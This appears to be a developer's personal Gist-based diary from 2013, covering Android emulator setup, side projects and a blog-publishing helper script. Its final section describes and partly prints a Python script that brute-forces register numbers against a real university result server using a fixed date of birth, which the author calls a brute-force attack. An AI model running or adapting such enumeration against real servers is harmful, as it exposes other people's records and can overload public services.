Skip to content

Instantly share code, notes, and snippets.

Thursday, 27. June 2013 11:14AM: Screenshot

Thursday, 27. June 2013 11:16AM: Spent the night, building a simulated click-coub based technologies

Thursday, 27. June 2013 11:18AM: It needs bit more tweaking, and will be ready to be embedded in a mobile app, simply by including a webview in whatever platform I'll have to port it for

Thursday, 27. June 2013 11:19AM: #### Totally, worth a shot!

All this while, I've been battling with my ancient machine to run the power hungry, wicked, Android Emulator, with comes with the sdk. It wasn't worth anything. But, not anymore. I've found a more elegant solution. A way to run the emulator almost twice as fast, using a virtual-box and a Androidx86 image. I havn't run any benchmarks, but it's swift, purely functional and just what I need.

I'm up with a product idea.
I need three things to get it atleast to the nearest prototype version.

  • Android Smartphone - My software is going to fiddle with lots of hardware features, making a Emulator just not sufficient.
  • Wifi-Router - The software's based on Wifi-Direct feature of the platform, and I will definitely need access to a wifi-network
  • A Processor - My Pentium 4 isn't responding well to my computational needs since recent times. It's good enough for a typical webdev environment or a standard desktop software development, but it couldn't take too much more than a single instance of eclispe running. I'm definitely going to need this one.

All the above together is going to cost upto a 10000INR, which I'm seeing as an investment that I couldn't afford.
Since the software is targetted at big restuarant corporations, even if I could get a couple of clients, its gonna be making a small fortune for me.

Designed and built a static website, for a local sports store, overnight as usual.
I owe bootstrap a lot.
It's been a long time since working with css/js stuff. This gave me a chance to revisit them again. Did it for 1500 bucks, which might help me buy a better processor, good enough to run an Android Emulator.

Friday, 31. May 2013 07:19AM: Its strange, I woke up so early, and its strange even more, that I couldn't actually fall asleep anymore.

Friday, 31. May 2013 07:24AM: I'm trying give firefox os simulator a try, and just got brain dead. seriously, there's just a single red line saying, it's not available, for mozilla firefox 16.0.1. Nothing, more. Not even which version it supports and or any other alternatives. It would have been much better, if the mozilla people paid a little attention to these details. Even google, doesn't seem to have an answer. For now, am going back to sleep. Later, I might possibly try building the desktop client.

Thursday, 30. May 2013 08:31PM: Just turned on my ubuntu, yet to start the terminal.

Thursday, 30. May 2013 08:32PM: Testing my new live blogger program if its anything less than perfect :-)

Thursday, 30. May 2013 08:32PM: Yes, its works good. Ain't it?

Wrote a program, that after writing a blog post, would do all the commadline works for me.
It gistifies the post, then runs another program to add it to the sqlite db, commits it, and pushes it up the server for deployment.

@joelewis
joelewis / gistify.py
Created May 25, 2013 20:16
python script to do all the commandline works for me after writing a blog post.
from subprocess import call
import sys
def main():
if len(sys.argv) == 2:
call('gist ' + sys.argv[1], shell=True)
call('python /home/joe/Documents/workstage/joelewis/blog/utils/addone.py', shell=True)
call('git --git-dir=/home/joe/Documents/workstage/joelewis/.git --work-tree=/home/joe/Documents/workstage/joelewis add .',shell=True)
call('git --git-dir=/home/joe/Documents/workstage/joelewis/.git --work-tree=/home/joe/Documents/workstage/joelewis commit -m "+1 post"',shell=True)

###Bruteforce Attack On Anna University Result Server

What does an amateur hacker do if his register number for checking his TANCET score is lost? He writes a script, that tries all possible combinations for all the eight digits of the register no. and launches a brute force attack on http://www.annauniv.edu/687--150/?.

The one that matches his D.O.B gets logged, and he gets pretty a number of matches out of which, 11323608 works for him and he finds out that his score is a below-average 32.5/50


@joelewis
joelewis / tancet.py
Created May 23, 2013 18:39
A python script to launch a series of requests to tancet result servers, to fetch me my register number which I lost. It's gonna try all possible combinations of numbers matching my DOB, and writes to matches.txt if a match is found. Warning: This might be a form of brute force attack, combined with DOS attack, except that annauniv.edu is not de…
import urllib
import urllib2
import bs4
startreg = 11161667
endreg = 11170000
for i in range(startreg, endreg):
istr = str(i)
soup = bs4.BeautifulSoup(urllib2.urlopen(urllib2.Request('http://www.annauniv.edu/cgi-bin/786786786/cet1.pl',urllib.urlencode ({'regno' : i, 'dob' : '14-09-1991' }))).read())